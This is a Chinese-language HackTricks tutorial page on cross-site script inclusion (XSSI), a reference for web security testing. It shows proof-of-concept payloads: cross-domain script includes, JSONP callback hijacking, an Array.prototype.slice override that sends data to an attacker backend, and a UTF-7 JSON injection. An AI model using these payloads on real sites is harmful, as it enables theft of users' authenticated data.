hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

6.7 KiB
Raw Permalink Blame History

XSSI (跨站脚本包含)

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

基本信息

跨站脚本包含 (XSSI) 是一种由于 HTML 中 script 标签的特性而产生的漏洞。与大多数资源不同,同源策略 (SOP) 对脚本不适用,允许从不同域包含脚本。这种行为旨在促进使用托管在不同服务器上的库和其他资源,但也引入了潜在的安全风险。

XSSI 的主要特征:

  • 绕过 SOP:脚本不受 同源策略 的限制,允许跨域包含。
  • 数据暴露:攻击者可以利用这种行为读取通过 script 标签加载的数据。
  • 对动态 JavaScript/JSONP 的影响XSSI 对动态 JavaScript 或 带填充的 JSON (JSONP) 特别相关。这些技术通常使用“环境权限”信息(如 cookies进行身份验证。当向不同主机发出脚本请求时这些凭据例如 cookies会自动包含在请求中。
  • 身份验证令牌泄露:如果攻击者能够欺骗用户的浏览器请求来自他们控制的服务器的脚本,他们可能能够访问这些请求中包含的敏感信息。

类型

  1. 静态 JavaScript - 代表传统形式的 XSSI。
  2. 带身份验证的静态 JavaScript - 这种类型不同,因为它需要身份验证才能访问。
  3. 动态 JavaScript - 涉及动态生成内容的 JavaScript。
  4. 非 JavaScript - 指不直接涉及 JavaScript 的漏洞。

以下信息是 https://www.scip.ch/en/?labs.20160414 的总结。请查看以获取更多详细信息。

常规 XSSI

在这种方法中,私人信息嵌入在一个全球可访问的 JavaScript 文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦找到,包含私人信息的脚本可以被包含在恶意内容中,从而允许未经授权访问敏感数据。下面展示了一种示例利用技术:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

动态JavaScript基础的XSSI和认证JavaScript-XSSI

这些类型的XSSI攻击涉及机密信息根据用户请求动态添加到脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同这可能表明存在机密信息。可以使用像DetectDynamicJS这样的Burp扩展来自动化此过程。

如果机密数据存储在全局变量中可以使用与常规XSSI相似的方法进行利用。然而如果机密数据包含在JSONP响应中攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个由JSONP响应执行的函数来完成如下所示

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

对于不在全局命名空间中的变量,prototype tampering 有时可以被利用。该技术利用了 JavaScript 的设计,其中代码解释涉及遍历原型链以定位被调用的属性。通过重写某些函数,例如 Arrayslice,攻击者可以访问并泄露非全局变量:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

进一步的攻击向量细节可以在安全研究员 Sebastian Lekies 的工作中找到,他维护着一个 vectors 列表。

非脚本-XSSI

寺田健的研究介绍了另一种形式的 XSSI其中非脚本文件如 CSV通过作为 script 标签中的源被跨域泄露。历史上 XSSI 的实例,如 Jeremiah Grossman 在 2006 年的攻击以读取完整的 Google 地址簿和 Joe Walker 在 2007 年的 JSON 数据泄露突显了这些威胁的严重性。此外Gareth Heyes 描述了一种攻击变体,涉及使用 UTF-7 编码的 JSON 来逃避 JSON 格式并执行脚本,在某些浏览器中有效:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}